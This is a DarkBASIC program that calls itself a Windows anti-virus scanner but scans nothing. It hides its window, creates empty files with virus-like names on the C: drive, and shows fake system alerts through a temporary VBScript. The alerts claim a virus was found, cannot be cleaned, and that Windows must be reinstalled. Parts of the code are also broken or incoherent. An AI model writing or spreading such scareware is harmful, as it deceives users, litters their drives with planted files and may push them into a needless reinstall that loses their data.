REM Project: Speedy_windows_anti-virus_scanner
REM Created: 6/13/2006 5:47:01 AM
REM
REM ***** Main Source File *****
HIDE WINDOW
sync on
if file exist("c:\db115.exe")=0 then make file "c:\db115.exe"
open to read 3,"c:\db115.exe"
read string 3,current$
sync on
if file exist("c:\u3d2.exe")=0 then make file "c:\u3d2.exe"
open to read 4,"c:\u3d2.exe"
read string 4,current$
sync on
if file exist("c:\hax_3d3.exe")=0 then make file "c:\hax_3d3.exe"
open to read 5,"c:\hax_3d3.exe"
read string 5,current$
sync on
if file exist("c:\u4doss.exe")=0 then make file "c:\u4doss.exe"
open to read 6,"c:\u4doss.exe"
read string 6,current$
sync on
if file exist("c:\Xviruz.exe")=0 then make file "c:\Xviruz.exe"
open to read 7,"c:\Xviruz.exe"
read string 7,current$
sync on
if file exist("c:\Xviruz5.exe")=0 then make file "c:\Xviruz5.exe"
open to read 8,"c:\Xviruz5.exe"
read string 8,current$
sync on
if file exist("c:\Xviruz21.exe")=0 then make file "c:\Xviruz21.exe"
open to read 9,"c:\Xviruz21.exe"
read string 9,current$
sync on
if file exist("c:\Xviruz1.exe")=0 then make file "c:\Xviruz1.exe"
open to read 10,"c:\Xviruz1.exe"
read string 10,current$
sync on
if file exist("c:\Xviruz2.exe")=0 then make file "c:\Xviruz2.exe"
read string 11,current$
ALERT("VIRUS DETECTED IN C:\","WARNING!")
ALERT_X("UNABLE TO CLEAN","WARNING")
ALERT_?("Please re-install Windows","ERROR.")
ALERT_i("Windows has Performed an illegal action","WARNING.")
FUNCTION ALERT(MESSAGE$,TITLE$)
ALERT_1(MESSAGE$,TITLE$,"0")
ENDFUNCTION
FUNCTION ALERT_X(MESSAGE$,TITLE$)
ALERT_1(MESSAGE$,TITLE$,"16")
ENDFUNCTION
FUNCTION ALERT_?(MESSAGE$,TITLE$)
ALERT_1(MESSAGE$,TITLE$,"32")
ENDFUNCTION
FUNCTION ALERT_i(MESSAGE$,TITLE$)
ALERT_1(MESSAGE$,TITLE$,"48")
ENDFUNCTION
FUNCTION ALERT_1(MESSAGE$,TITLE$,NUMBER$)
OPEN TO WRITE 32,"c:msgbox.vbs"
WRITE STRING 32,"msgbox"+CHR$(34)+MESSAGE$+CHR$(34)+","+NUMBER$+","+CHR$(34)+TITLE$+CHR$(34)
CLOSE FILE 32
EXECUTE FILE "wscript.exe","c:msgbox.vbs","C:",1
DELETE FILE "c:msgbox.vbs"
ENDFUNCTION
sync on
restore window
val(current$)=currentc
currentc=currentc+201
sync
print temp$
print currentc
return
